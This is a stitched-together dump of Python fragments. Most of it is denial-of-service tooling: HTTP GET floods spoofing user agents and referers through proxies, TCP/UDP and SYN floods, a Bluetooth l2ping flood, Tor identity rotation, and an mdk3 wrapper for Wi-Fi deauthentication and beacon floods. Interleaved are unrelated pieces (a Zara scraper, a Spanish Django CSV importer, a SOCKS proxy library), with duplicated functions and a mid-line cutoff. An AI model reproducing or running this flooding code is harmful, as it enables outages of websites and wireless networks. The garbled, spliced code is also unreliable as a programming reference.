keyword_top.append('twitter') keyword_top.append('minecraft') keyword_top.append('paid to') keyword_top.append('free') keyword_top.append('earn cpcs') keyword_top.append('earn chi') keyword_top.append('netflix') keyword_top.append('videos') keyword_top.append('net') keyword_top.append('pulse') keyword_top.append('posted by') keyword_top.append('date you') keyword_top.append('news') keyword_top.append('this date') keyword_top.append('msn') keyword_top.append('facebook yahoo') keyword_top.append('dating') keyword_top.append('birthday gifts') keyword_top.append('cars') keyword_top.append('best100tattoos') keyword_top.append('walmart') keyword_top.append('lkckclckli1i') keyword_top.append('sports') keyword_top.append('software') keyword_top.append('music') keyword_top.append('the') keyword_top.append('email marketing') keyword_top.append('broadband') keyword_top.append('online') keyword_top.append('insurance') keyword_top.append('movie') keyword_top.append('tramadol') keyword_top.append('weight loss') keyword_top.append('chat') keyword_top.append('home') keyword_top.append('yahoo google') keyword_top.append('car insurance') keyword_top.append('face') keyword_top.append('spyware') keyword_top.append('you tube') keyword_top.append('free tv shows') keyword_top.append('downloads') keyword_top.append('google maps') keyword_top.append('websbiggest') keyword_top.append('macromedia flash player free download') keyword_top.append('m nova') keyword_top.append('facebook friends') keyword_top.append('phentermine') keyword_top.append('weather') keyword_top.append('watch online') keyword_top.append('medical insurance') keyword_top.append('dating websites') keyword_top.append('in') keyword_top.append('movies online') keyword_top.append('friv') keyword_top.append('search') keyword_top.append('alo') keyword_top.append('houses for rent by owner') keyword_top.append('of') keyword_top.append('internet marketing') keyword_top.append('blogging make money') keyword_top.append('make money blogging') keyword_top.append('game') keyword_top.append('movie2k') keyword_top.append('walmart stores') keyword_top.append('credit card') keyword_top.append('instagram') keyword_top.append('internet marketing advertising') keyword_top.append('biz') keyword_top.append('travel') keyword_top.append('to') keyword_top.append('dating website') keyword_top.append('windows') keyword_top.append('quick weight loss diet') keyword_top.append('omegle') keyword_top.append('comment') keyword_top.append('tips lose weight') keyword_top.append('account') keyword_top.append('health') keyword_top.append('business') keyword_top.append('free photography stock') keyword_top.append('110') keyword_top.append('vietnam') keyword_top.append('singapore') keyword_top.append('all 150') return(keyword_top) #builds random ascii string def buildblock(size): out_str = '' LOWERCASE = range(97, 122) _UPPERCASE = range(65, 90) _NUMERIC = range(48, 57) validChars = _LOWERCASE + _UPPERCASE + _NUMERIC for i in range(0, size): a = random.choice(validChars) out_str += chr(a) for i in range(0, size): a = random.randint(65, 90) out_str += chr(a) return(out_str) def down_it(item): try: while True: packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,int(port))) if s.sendto( packet, (host, int(port)) ): s.shutdown(1) print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! hammering--> \033[0m") else: s.shutdown(1) print("\033[91mshut<->down\033[0m") time.sleep(.1) except socket.error as e: print("\033[91mno connection! server maybe down\033[0m") #print("\033[91m",e,"\033[0m") time.sleep(.1) def http_attack(): ''' Simple HTTP attacks ''' requests_sent = 0 timeouts = 0 o = urlparse(target) print("Starting HTTP GET flood on \""+o.netloc+":"+str(port)+o.path+"\"...") try: while True: try: connection = httplib.HTTPConnection(o.netloc+":"+str(port), timeout=2) connection.request("GET", o.path) requests_sent = requests_sent + 1 except Exception as err: if "timed out" in err: timeouts = timeouts + 1 except KeyboardInterrupt: print("Info: Maked "+str(requests_sent)+" requests.\nTimeouts: "+str(timeouts)) def attack(): #pid = os.fork() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], 80)) print ">> GET /" + sys.argv[2] + " HTTP/1.1" s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n") s.send("Host: " + sys.argv[1] + "\r\n\r\n"); s.close() def eth_attack(): ''' Ethernet/Wireless attack function ''' global log, target, debugMode, useProtocol, port if useProtocol == "HTTP": http_attack() return # number of packets for summary packets_sent = 0 # TCP flood if useProtocol == "TCP": sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) else: # UDP flood sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) # UDP bytes=random._urandom(bytes_len) addr=(target,port) try: sock.connect(addr) except socket.error as e: print("Error: Cannot connect to destination, "+str(e)) exit(0) sock.settimeout(None) try: while True: try: sock.sendto(bytes,(target,port)) packets_sent=packets_sent+1 except socket.error: if debugMode == True: print("Reconnecting: ip="+str(target)+", port="+str(port)+", packets_sent="+str(packets_sent)) # propably dropped by firewall try: sock.close() sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(addr) except socket.error: continue except KeyboardInterrupt: print("Info: Sent "+str(packets_sent)+" packets.") def bt_attack(): global target, port # initialize socket #sock=bluetooth.BluetoothSocket( bluetooth.RFCOMM ) # number of packets for summary #packets_sent = 0 # connect #try: # try: # sock.connect((target, port)) # except bluetooth.btcommon.BluetoothError as (bterror): # print "Error: Cannot connect using RFC to "+target+" on port "+str(port)+", "+str(bterror[0])+"" # exit(0) # while True: # packets_sent=packets_sent+1 # send random data # sock.send(str(random._urandom(bytes_len))) #except KeyboardInterrupt: # print "Info: Sent "+str(packets_sent)+" packets." try: if not os.path.isfile("/usr/bin/l2ping"): print("Cannot find /usr/bin/l2ping, please install l2ping to use this feature.") sys.exit(0) sto = os.system ("/usr/bin/l2ping -f "+target+" -s "+str(bytes_len)) except KeyboardInterrupt: sys.exit(0) def UDPFlood(ip,port,timer): global udp start = time.time() bytes = random._urandom(1024) while True: end = time.time() elapsed = round((end - start),2) if elapsed < int(timer): udp.sendto(bytes, (str(ip), int(port) )) else: break def dos(): #pid = os.fork() ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: ddos.connect((host, 80)) ddos.send( message ) ddos.sendto( message, (ip, port) ) ddos.send( message ); except socket.error, msg: print("|[Connection Failed] |") print ( "|[DDoS Attack Engaged] |") ddos.close() dos() def dos(): while True: item = q.get() down_it(item) q.task_done() def UDPFlood(): port = int(sys.argv[2]) randport=(True,False)[port==0] ip = sys.argv[1] dur = int(sys.argv[3]) clock=(lambda:0,time.clock)[dur>0] duration=(1,(clock()+dur))[dur>0] print('Attacking: %s:%s for %s seconds'%(ip,port,dur or 'infinite')) sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) bytes=random._urandom(65500) while True: port=(random.randint(1,15000000),port)[randport] if clock() -1: print('AUTHENICATE accepted.') tn.write("signal NEWNYM\r\n") res = tn.read_until('250 OK', 5) if res.find('250 OK') > -1: print("[+] New identity successfull") def main(): while True: newnym(host, port, pw) print("[+] New identity in %s seconds...") %(tim) time.sleep(tim) def get_parameters(): global host global port global thr global item optp = OptionParser(add_help_option=False,epilog="Hammers") optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO) optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip") optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80") optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 -t 135") optp.add_option("-h","--help",dest="help",action='store_true',help="help you") opts, args = optp.parse_args() logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s') if opts.help: usage() if opts.host is not None: host = opts.host else: usage() if opts.port is None: port = 80 else: port = opts.port if opts.turbo is None: thr = 135 else: thr = opts.turbo def httpcall(url): useragent_list() referer_list() keyword_list() code=0 if url.count("?")>0: param_joiner="&" else: param_joiner="?" request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) request.add_header('User-Agent', random.choice(headers_useragents)) request.add_header('Cache-Control', 'no-cache') request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') #request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10))) request.add_header('Referer', random.choice(headers_referers)+random.choice(keyword_top)) #request.add_header('Referer', host) request.add_header('Keep-Alive', random.randint(110,120)) request.add_header('Connection', 'keep-alive') request.add_header('Host',host) index = random.randint(0,len(listaproxy)-1) proxy = urllib2.ProxyHandler({'http':listaproxy[index]}) opener = urllib2.build_opener(proxy,urllib2.HTTPHandler) urllib2.install_opener(opener) try: urllib2.urlopen(request) if(flag==1): set_flag(0) if(code==500): code=0 except urllib2.HTTPError, e: set_flag(1) #print 'Response Code 500' code=500 except urllib2.URLError, e: sys.exit() else: inc_counter() urllib2.urlopen(request) def parse_item(self, response) : sel = Selector (response) items = [] item = ZaraItem () item['url'] = response.request.url title = sel.xpath ('//div[@class="right"]//header/h1//text()').extract() if title : item['title'] = title item['ref'] = sel.xpath ('//p[@class="reference"]//text()').extract() item['price'] = sel.xpath ('//p[@class="price"]/span[@class="price"]/@data-price').extract() desc = sel.xpath ('//p[@class="description"]/text()').extract() if desc : item['desc'] = desc item['img'] = sel.xpath ('//div[@class="imgCont"]//img/@src').extract() item['img_color'] = sel.xpath ('//span/i[@class="icon icon-arrow-down-color"]//text()').extract() if item['title'] and item['ref'] : return item def import_file(request, pk): mensaje = '' context = locals() if request.method == 'POST': try: file = request.FILES['archivo'] dataReader = csv.DictReader(file, delimiter=';') if (pk=='1'): for x in dataReader: modelo = EERR() modelo.oficina_id = x['Oficina de ventas'] modelo.periodo_id = request.POST['periodo'] modelo.kilo = transformarKilos(x['Kilos']) modelo.venta = transformarPrecios(x['Venta']) modelo.ingreso = transformarPrecios(x['Total Ingresos']) modelo.gasto = transformarPrecios(x['Total Gastos']) modelo.margen_peso = transformarPrecios(x['Margen']) modelo.margen_porc = float(transformarPorcentajes(x['Margen %'])) / 100 modelo.save() mensaje = 'El reporte Estado de Resultado, ha sido cargado correctamente' save_report(request.user, request.POST['periodo'], 1) elif (pk=='2'): for x in dataReader: modelo = Kilos() modelo.oficina_id = x['Oficina de ventas'] modelo.periodo_id = request.POST['periodo'] modelo.tipoCliente_id = x['Tipo de cliente'] modelo.kilos = transformarKilos(x['Kilos Venta']) modelo.save() mensaje = 'El reporte Kilos, ha sido cargado correctamente' save_report(request.user, request.POST['periodo'], 2) elif (pk=='3'): for x in dataReader: modelo = PrecioPromedio() modelo.oficina_id = x['Oficina de ventas'] modelo.periodo_id = request.POST['periodo'] modelo.tipoCliente_id = x['Tipo de cliente'] modelo.sector_id = x['Sector'] modelo.kilo = transformarKilos(x['Kilos Venta']) modelo.neto = transformarNetos(x['Venta Neta']) modelo.save() mensaje = 'El reporte Precio Promedio vs Zona, ha sido cargado correctamente' save_report(request.user, request.POST['periodo'], 3) elif (pk=='4'): for x in dataReader: modelo = Descuento() modelo.oficina_id = x['Oficina de ventas'] modelo.periodo_id = request.POST['periodo'] modelo.tipoCliente_id = x['Tipo de Cliente'] modelo.sector_id = x['Sector'] modelo.cadena_id = x['Cadena'] modelo.rut = x['Rut'] modelo.tipoPedido = x['Tipo Pedido'] if (x['Kilos Facturados'] == 'X'): modelo.kilo = 0 else: modelo.kilo = transformarKilosSinKG(x['Kilos Facturados']) if (x['P.Base'] == 'X'): modelo.kilo = 0 else: modelo.base = transformarKilosSinKG(x['P.Base']) if (x['P.Especial'] == 'X'): modelo.kilo = 0 else: modelo.especial = transformarKilosSinKG(x['P.Especial']) if (x['P.Vigente'] == 'X'): modelo.kilo = 0 else: modelo.vigente = transformarKilosSinKG(x['P.Vigente']) if (x['P.Pedido'] == 'X'): modelo.kilo = 0 else: modelo.pedido = transformarKilosSinKG(x['P.Pedido']) if (x['P.Facturado'] == 'X'): modelo.kilo = 0 else: modelo.facturado = transformarKilosSinKG(x['P.Facturado']) modelo.save() mensaje = 'El reporte Precios y Descuentos, ha sido cargado correctamente' save_report(request.user, request.POST['periodo'], 4) elif (pk=='5'): for x in dataReader: modelo = Gasto() modelo.oficina_id = x['Oficina de ventas'] modelo.periodo_id = request.POST['periodo'] modelo.sector_id = int(x['Sector']) modelo.clasecoste_id = x['Clase de coste'] if x['Monto'] == '': modelo.kilo = 0 else: modelo.gasto = transformarPrecios(x['Monto']) modelo.save() mensaje = 'El reporte Costos Unitarios, ha sido cargado correctamente' save_report(request.user, request.POST['periodo'], 5) elif (pk=='6'): for x in dataReader: modelo = VentaCompleta() modelo.oficina_id = x['Oficina de ventas'] modelo.periodo_id = request.POST['periodo'] modelo.sector_id = int(x['Sector']) modelo.tipoCliente_id = x['Tipo de cliente'] modelo.cliente = x['Cod Local'] modelo.categoria_id = x['Categoria Cliente'] modelo.fecha = transformarFechas(x['Dia natural']) modelo.supervisor = x['Supervisor_BP-CL'] modelo.preventa = x['Preventa_BP-CL'] if x['Unidades Venta'] == '': modelo.unidad = 0 else: modelo.unidad = transformarNetos(x['Unidades Venta']) if x['Kilos Venta'] == '': modelo.kilo = 0 else: modelo.kilo = transformarKilosSinKG(x['Kilos Venta']) if x['Venta Neta'] == '': modelo.neto = 0 else: modelo.neto = transformarNetos(x['Venta Neta']) modelo.codigoMaterial = x['Cod Material'] modelo.material = x['Material'] modelo.nivel2 = x['Nivel 2'] modelo.nivel3 = x['Nivel 3'] modelo.marca = x['Marca'] modelo.referencia = x['Referencia'] modelo.save() mensaje = 'El reporte Formula de Ingreso, ha sido cargado correctamente' save_report(request.user, request.POST['periodo'], 6) else: mensaje = 'Este importe no ha sido programado' except Exception, e: mensaje = 'Ha ocurrido un error interno, por favor vuelva a intentarlo: ' + str(e) print(str(e)) return render(request, 'imports/success_import.html', {'mensaje': mensaje, 'context': context}) def data_exist_eerr(request, pk): consulta = EERR.objects.all().filter(periodo__id=pk) if consulta.count() == 0: retorno = 0 else: retorno = 1 json_data = json.dumps({'retorno': retorno}) return HttpResponse(json_data, content_type='application/json; charset=utf8') def data_exist_pp_vs_zn(request, pk): consulta = PrecioPromedio.objects.all().filter(periodo__id=pk) if consulta.count() == 0: retorno = 0 else: retorno = 1 json_data = json.dumps({'retorno': retorno}) return HttpResponse(json_data, content_type='application/json; charset=utf8') def data_exist_precio_desc(request, pk): consulta = Descuento.objects.all().filter(periodo__id=pk) if consulta.count() == 0: retorno = 0 else: retorno = 1 json_data = json.dumps({'retorno': retorno}) return HttpResponse(json_data, content_type='application/json; charset=utf8') def data_exist_unit(request, pk): consulta = Gasto.objects.all().filter(periodo__id=pk) if consulta.count() == 0: retorno = 0 else: retorno = 1 json_data = json.dumps({'retorno': retorno}) return HttpResponse(json_data, content_type='application/json; charset=utf8') def data_exist_formula_ingreso(request, pk): consulta = VentaCompleta.objects.all().filter(periodo__id=pk) if consulta.count() == 0: retorno = 0 else: retorno = 1 json_data = json.dumps({'retorno': retorno}) return HttpResponse(json_data, content_type='application/json; charset=utf8') def transformarKilos(kilos): return kilos.replace('KG', '').replace('.', '').replace(',', '.') def transformarKilosSinKG(kilos): return kilos.replace('.', '').replace(',', '.') def transformarNetos(netos): return netos.replace('.', '') def transformarPrecios(netos): return netos.replace('CLP', '').replace('.', '') def transformarPorcentajes(porcentajes): return porcentajes.replace('%', '').replace(',', '.') #http request def httpcall(url): useragent_list() referer_list() keyword_list() code=0 if url.count("?")>0: param_joiner = "&" else: param_joiner = "?" request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) request.add_header('User-Agent', random.choice(headers_useragents)) request.add_header('Cache-Control', 'no-cache') request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') request.add_header('Referer', random.choice(headers_referers)+random.choice(keyword_top)) request.add_header('Keep-Alive', random.randint(110,120)) request.add_header('Connection', 'keep-alive') request.add_header('Host',host) proxy = urllib2.ProxyHandler({'http':listaproxy[index]}) opener = urllib2.build_opener(proxy,urllib2.HTTPHandler) urllib2.install_opener(opener) try: urllib2.urlopen(request) if(flag==1): set_flag(0) if(code==1000000000): code=1000000000 except urllib2.HTTPError, e: set_flag(1) code=1000000000 time.sleep(6) except urllib2.URLError, e: sys.exit() else: inc_counter() urllib2.urlopen(request) #print 'size: '+str(len(ips))+'\n' index = random.randint(0,len(ips)-1) #print 'http:'+ips[index]; proxy = urllib2.ProxyHandler({'http':ips[index]})#proxy = urllib2.ProxyHandler({'http':random.choice(ips)}) opener = urllib2.build_opener(proxy,urllib2.HTTPHandler) urllib2.install_opener(opener) try: urllib2.urlopen(request) if(flag==1): set_flag(0) if(code==500): code=0 except urllib2.HTTPError, e: #print e.code set_flag(1) print 'Response Code 500' code=500 #print "Start : %s" % time.ctime() time.sleep(60) #print "End : %s" % time.ctime() except urllib2.URLError, e: #print e.reason sys.exit() else: inc_counter() urllib2.urlopen(request) def setdefaultproxy(proxytype=None,addr=None,port=None,rdns=True,username=None,password=None): """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) Sets a default proxy which all further socksocket objects will use, unless explicitly changed. """ global _defaultproxy _defaultproxy = (proxytype,addr,port,rdns,username,password) class socksocket(socket.socket): """socksocket([family[, type[, proto]]]) -> socket object Open a SOCKS enabled socket. The parameters are the same as those of the standard socket init. In order for SOCKS to work, you must specify family=AF_INET, type=SOCK_STREAM and proto=0. """ def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None): _orgsocket.__init__(self,family,type,proto,_sock) if _defaultproxy != None: self.__proxy = _defaultproxy else: self.__proxy = (None, None, None, None, None, None) self.__proxysockname = None self.__proxypeername = None def __recvall(self, bytes): """__recvall(bytes) -> data Receive EXACTLY the number of bytes requested from the socket. Blocks until the required number of bytes have been received. """ data = "" while len(data) < bytes: data = data + self.recv(bytes-len(data)) return data def setproxy(self,proxytype=None,addr=None,port=None,rdns=True,username=None,password=None): """setproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) Sets the proxy to be used. proxytype - The type of the proxy to be used. Three types are supported: PROXY_TYPE_SOCKS4 (including socks4a), PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP addr - The address of the server (IP or DNS). port - The port of the server. Defaults to 1080 for SOCKS servers and 8080 for HTTP proxy servers. rdns - Should DNS queries be preformed on the remote side (rather than the local side). The default is True. Note: This has no effect with SOCKS4 servers. username - Username to authenticate with to the server. The default is no authentication. password - Password to authenticate with to the server. Only relevant when username is also provided. """ self.__proxy = (proxytype,addr,port,rdns,username,password) def __negotiatesocks5(self,destaddr,destport): """__negotiatesocks5(self,destaddr,destport) Negotiates a connection through a SOCKS5 server. """ # First we'll send the authentication packages we support. if (self.__proxy[4]!=None) and (self.__proxy[5]!=None): # The username/password details were supplied to the # setproxy method so we support the USERNAME/PASSWORD # authentication (in addition to the standard none). self.sendall("\x05\x02\x00\x02") else: # No username/password were entered, therefore we # only support connections with no authentication. self.sendall("\x05\x01\x00") # We'll receive the server's response to determine which # method was selected chosenauth = self.__recvall(2) if chosenauth[0] != "\x05": self.close() raise GeneralProxyError((1,_generalerrors[1])) # Check the chosen authentication method if chosenauth[1] == "\x00": # No authentication is required pass elif chosenauth[1] == "\x02": # Okay, we need to perform a basic username/password # authentication. self.sendall("\x01" + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.proxy[5])) + self.__proxy[5]) authstat = self.__recvall(2) if authstat[0] != "\x01": # Bad response self.close() raise GeneralProxyError((1,_generalerrors[1])) if authstat[1] != "\x00": # Authentication failed self.close() raise Socks5AuthError,((3,_socks5autherrors[3])) # Authentication succeeded else: # Reaching here is always bad self.close() if chosenauth[1] == "\xFF": raise Socks5AuthError((2,_socks5autherrors[2])) else: raise GeneralProxyError((1,_generalerrors[1])) # Now we can request the actual connection req = "\x05\x01\x00" # If the given destination address is an IP address, we'll # use the IPv4 address request even if remote resolving was specified. try: ipaddr = socket.inet_aton(destaddr) req = req + "\x01" + ipaddr except socket.error: # Well it's not an IP number, so it's probably a DNS name. if self.__proxy[3]==True: # Resolve remotely ipaddr = None req = req + "\x03" + chr(len(destaddr)) + destaddr else: # Resolve locally ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) req = req + "\x01" + ipaddr req = req + struct.pack(">H",destport) self.sendall(req) # Get the response resp = self.__recvall(4) if resp[0] != "\x05": self.close() raise GeneralProxyError((1,_generalerrors[1])) elif resp[1] != "\x00": # Connection failed self.close() if ord(resp[1])<=8: raise Socks5Error(ord(resp[1]),_generalerrors[ord(resp[1])]) else: raise Socks5Error(9,_generalerrors[9]) # Get the bound address/port elif resp[3] == "\x01": boundaddr = self.__recvall(4) elif resp[3] == "\x03": resp = resp + self.recv(1) boundaddr = self.__recvall(resp[4]) else: self.close() raise GeneralProxyError((1,_generalerrors[1])) boundport = struct.unpack(">H",self.__recvall(2))[0] self.__proxysockname = (boundaddr,boundport) if ipaddr != None: self.__proxypeername = (socket.inet_ntoa(ipaddr),destport) else: self.__proxypeername = (destaddr,destport) def getproxysockname(self): """getsockname() -> address info Returns the bound IP address and port number at the proxy. """ return self.__proxysockname def getproxypeername(self): """getproxypeername() -> address info Returns the IP and port number of the proxy. """ return _orgsocket.getpeername(self) def getpeername(self): """getpeername() -> address info Returns the IP address and port number of the destination machine (note: getproxypeername returns the proxy) """ return self.__proxypeername def __negotiatesocks4(self,destaddr,destport): """__negotiatesocks4(self,destaddr,destport) Negotiates a connection through a SOCKS4 server. """ # Check if the destination address provided is an IP address rmtrslv = False try: ipaddr = socket.inet_aton(destaddr) except socket.error: # It's a DNS name. Check where it should be resolved. if self.__proxy[3]==True: ipaddr = "\x00\x00\x00\x01" rmtrslv = True else: ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) # Construct the request packet req = "\x04\x01" + struct.pack(">H",destport) + ipaddr # The username parameter is considered userid for SOCKS4 if self.__proxy[4] != None: req = req + self.__proxy[4] req = req + "\x00" # DNS name if remote resolving is required # NOTE: This is actually an extension to the SOCKS4 protocol # called SOCKS4A and may not be supported in all cases. if rmtrslv==True: req = req + destaddr + "\x00" self.sendall(req) # Get the response from the server resp = self.__recvall(8) if resp[0] != "\x00": # Bad data self.close() raise GeneralProxyError((1,_generalerrors[1])) if resp[1] != "\x5A": # Server returned an error self.close() if ord(resp[1]) in (91,92,93): self.close() raise Socks4Error((ord(resp[1]),_socks4errors[ord(resp[1])-90])) else: raise Socks4Error((94,_socks4errors[4])) # Get the bound address/port self.__proxysockname = (socket.inet_ntoa(resp[4:]),struct.unpack(">H",resp[2:4])[0]) if rmtrslv != None: self.__proxypeername = (socket.inet_ntoa(ipaddr),destport) else: self.__proxypeername = (destaddr,destport) def __negotiatehttp(self,destaddr,destport): """__negotiatehttp(self,destaddr,destport) Negotiates a connection through an HTTP server. """ # If we need to resolve locally, we do this now if self.__proxy[3] == False: addr = socket.gethostbyname(destaddr) else: addr = destaddr self.sendall("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n") # We read the response until we get the string "\r\n\r\n" resp = self.recv(1) while resp.find("\r\n\r\n")==-1: resp = resp + self.recv(1) # We just need the first line to check if the connection # was successful statusline = resp.splitlines()[0].split(" ",2) if statusline[0] not in ("HTTP/1.0","HTTP/1.1"): self.close() raise GeneralProxyError((1,_generalerrors[1])) try: statuscode = int(statusline[1]) except ValueError: self.close() raise GeneralProxyError((1,_generalerrors[1])) if statuscode != 200: self.close() raise HTTPError((statuscode,statusline[2])) self.__proxysockname = ("0.0.0.0",0) self.__proxypeername = (addr,destport) def connect(self,destpair): """connect(self,despair) Connects to the specified destination through a proxy. destpar - A tuple of the IP/DNS address and the port number. (identical to socket's connect). To select the proxy server use setproxy(). """ # Do a minimal input check first if (type(destpair) in (list,tuple)==False) or (len(destpair)<2) or (type(destpair[0])!=str) or (type(destpair[1])!=int): raise GeneralProxyError((5,_generalerrors[5])) if self.__proxy[0] == PROXY_TYPE_SOCKS5: if self.__proxy[2] != None: portnum = self.__proxy[2] else: portnum = 1080 _orgsocket.connect(self,(self.__proxy[1],portnum)) self.__negotiatesocks5(destpair[0],destpair[1]) elif self.__proxy[0] == PROXY_TYPE_SOCKS4: if self.__proxy[2] != None: portnum = self.__proxy[2] else: portnum = 1080 _orgsocket.connect(self,(self.__proxy[1],portnum)) self.__negotiatesocks4(destpair[0],destpair[1]) elif self.__proxy[0] == PROXY_TYPE_HTTP: if self.__proxy[2] != None: portnum = self.__proxy[2] else: portnum = 8080 _orgsocket.connect(self,(self.__proxy[1],portnum)) self.__negotiatehttp(destpair[0],destpair[1]) elif self.__proxy[0] == None: _orgsocket.connect(self,(destpair[0],destpair[1])) else: raise GeneralProxyError((4,_generalerrors[4])) class ProxyError(Exception): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class GeneralProxyError(ProxyError): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class Socks5AuthError(ProxyError): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class Socks5Error(ProxyError): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class Socks4Error(ProxyError): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class HTTPError(ProxyError): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class DDoS(Thread): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target_ip = '127.0.0.1' message = '' port = 0 sent = 0 @classmethod def setup(cls, url, port, message): DDoS.port = port DDoS.client.connect((url, port)) DDoS.target_ip = socket.gethostbyname(url) DDoS.message = message class dos(threading.Thread): def __init__(self, host, threads): threading.Thread.__init__(self) self.host = host self.threads = threads def run(self): global a global b b.acquire() #print "\n ??Attaccking ??{0}".format(self.threads) b.release() while 1 == a: try: urllib.urlopen(self.host).read try: urllib.urlopen(self.host).read except: pass except: pass b.acquire() #print " ?? Quitting ??{0}\n".format(self.threads) b.release() sys.exit() class mdk3(Thread): def __init__(self, attack, attack_options): Thread.__init__(self) self.attack = attack self.iface = attack_options[0] self.essid = attack_options[1] self.bssid = attack_options[2] self.chan = attack_options[3] self.log = "ap****er.log" def bflood(self): out = open(self.log,"a") out.write("\n ----- "+ctime()+" : Launching beacon flood against %s on channel %s -----" % (self.essid, self.chan)) out.close() print("\n Launching beacon flood against %s on channel %s" % (self.essid, self.chan)) sleep(2) os.system("mdk3 "+self.iface+" b -n "+self.essid+" -g -w -m -c "+self.chan+" >> "+self.log) def ados(self): out = open(self.log,"a") out.write("\n ----- "+ctime()+" : Launching Auth DoS against %s -----" % (self.bssid)) out.close() print("\n Launching Auth DoS against %s " % (self.bssid)) sleep(2) os.system("mdk3 "+self.iface+" a -i "+self.bssid+" -m -s 1024 >> "+self.log) def amok(self): out = open(self.log,"a") out.write("\n ----- "+ctime()+" : Launching Deauth Flood 'Amok' Mode on channel %s -----" % (self.chan)) out.close() print("\n Launching Deauth Flood 'Amok' Mode on channel %s" % (self.chan)) sleep(2) os.system("mdk3 "+self.iface+" d -c "+self.chan+" -s 1024 >> "+self.log) def mich(self): out = open(self.log,"a") out.write("\n ----- "+ctime()+" : Launching Michael 'Shutdown' Exploitation against %s on channel %s -----" % (self.bssid, self.chan)) out.close() print("\n Launching Michael 'Shutdown' Exploitation against %s on channel %s" % (self.bssid, self.chan)) sleep(2) os.system("mdk3 "+self.iface+" m -t "+self.bssid+" -j -w 1 -n 1024 -s 1024 >> "+self.log) def wids(self): out = open(self.log,"a") out.write("\n ----- "+ctime()+" : Launching WIDS Confusion against %s on channel %s -----" % (self.essid, self.chan)) out.close() print("\n Launching WIDS Confusion against %s on channel %s" % (self.essid, self.chan)) sleep(2) os.system("mdk3 "+self.iface+" w -e "+self.essid+" -c "+self.chan+" >> "+self.log) def run(self): if self.attack == "B": self.bflood() if self.attack == "A": self.ados() if self.attack == "D": self.amok() if self.attack == "M": self.mich() if self.attack == "W": self.wids() class synFlood(threading.Thread): def __init__(self, host, port): Thread.__init__(self) self.host = host self.port = port self.socks = socks.socksocket() self.tor = tor self.running = True def _send_http_get(self, pause = random.randrange(1, 10)): global stop_now self.socks.send("GET / HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Accept: image/png,*/*;q=0.5\r\n" "Cache-Control: no-cache, max-age=0\r\n" "Connection: keep-alive\r\n" "Keep-Alive: 120\r\n" "Content-Length: 42\r\n" #"Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.host, random.choice(useragents))) for i in range(0, 9999): if stop_now: self.running = False break p = random.choice(string.letters+string.digits) data = ['\x00','\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'] packet = random.choice(data) magic = random.choice(packet+p) print term.BOL+term.UP+term.CLEAR_EOL+"Sending magic packets!: %s" % packet+term.NORMAL self.socks.send(magic) time.sleep(random.uniform(0.1, 3)) self.socks.close() def run(self): while self.running: while self.running: try: if self.tor: self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) self.socks.connect((self.host, self.port)) print term.BOL+term.UP+term.CLEAR_EOL+"Stressing Target!..."+ term.NORMAL break except Exception, e: if e.args[0] == 106 or e.args[0] == 60: break print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL time.sleep(1) #self.socks = socks.socksocket() continue while self.running: try: self._send_http_get() except Exception, e: if e.args[0] == 32 or e.args[0] == 104: print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL #self.socks.close() self.socks = socks.socksocket() break time.sleep(1) pass class SYNFlood(threading.Thread): global target, port def __init__(self): threading.Thread.__init__(self) def run(self): i = IP() i.dst = target t = TCP() t.dport = port t.sport = random.randint(1, 65535) t.flags = 'S' class MyThread(Thread,): def __init__(self,SITE, DOS_TYPE): Thread.__init__(self) self.method = DOS_TYPE self.site = SITE self.kill_received = False def run(self): while not self.kill_received: server = socket.gethostbyname(self.site) post = 'x' * 6000 file = 'index.php' request = '%s 